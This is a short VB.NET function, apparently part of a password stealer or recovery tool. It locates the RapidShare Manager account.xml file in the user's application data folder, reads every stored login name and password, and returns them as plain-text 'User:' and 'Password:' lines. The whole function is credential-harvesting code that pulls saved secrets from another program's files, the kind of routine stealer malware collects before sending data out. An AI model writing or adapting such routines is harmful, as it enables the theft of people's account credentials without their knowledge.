Public Function RSManager() As String
  Dim doc As New System.Xml.XmlDocument
  Dim out As String
  If Environ("LOCALAPPDATA") Is Nothing Then doc.Load(Environ("USERPROFILE") & "\Local Settings\Application Data\Rapidshare\account.xml") Else doc.Load(Environ("LOCALAPPDATA") & "\Rapidshare\account.xml")
  Dim user As Xml.XmlNodeList = doc.GetElementsByTagName("login")
  Dim password As Xml.XmlNodeList = doc.GetElementsByTagName("passwort")
  For i As Integer = 0 To user.Count - 1
    out += "User: " & user(i).InnerText & vbNewLine
    out += "Password: " & password(i).InnerText & vbNewLine
  Next
  Return out
    End Function